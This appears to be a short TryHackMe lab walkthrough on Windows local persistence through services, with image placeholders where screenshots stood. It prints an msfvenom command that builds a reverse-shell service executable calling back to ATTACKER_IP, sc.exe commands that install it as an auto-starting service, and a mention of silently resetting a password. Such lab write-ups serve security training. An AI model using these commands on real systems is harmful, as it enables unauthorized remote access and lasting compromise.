TryHackMe-Walkthroughs-by-Aby

Room : Windows Local Persistence - Backdooring Files

Services are basically executables that runs in the background, make it run automatically and can define which executable will be used. Services run in background so it is easy to create persistence whenever the victim machine starts.

Two ways to create persistence using Services:

Creating New service

Net user command will be executed when services will automatically start and reset the password to “Passwd123” - without user interaction.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

WLP19

Exploit is ready.

NOTE: You have to get the exploit to the Victim system. I used simple Python server.

WLP20

sc.exe create THMservice2 binPath= "C:\Users\Administrator\rev-svc.exe" start= auto

sc.exe start THMservice2

WLP21

WLP22

Modifying existing service

WLP23

WLP24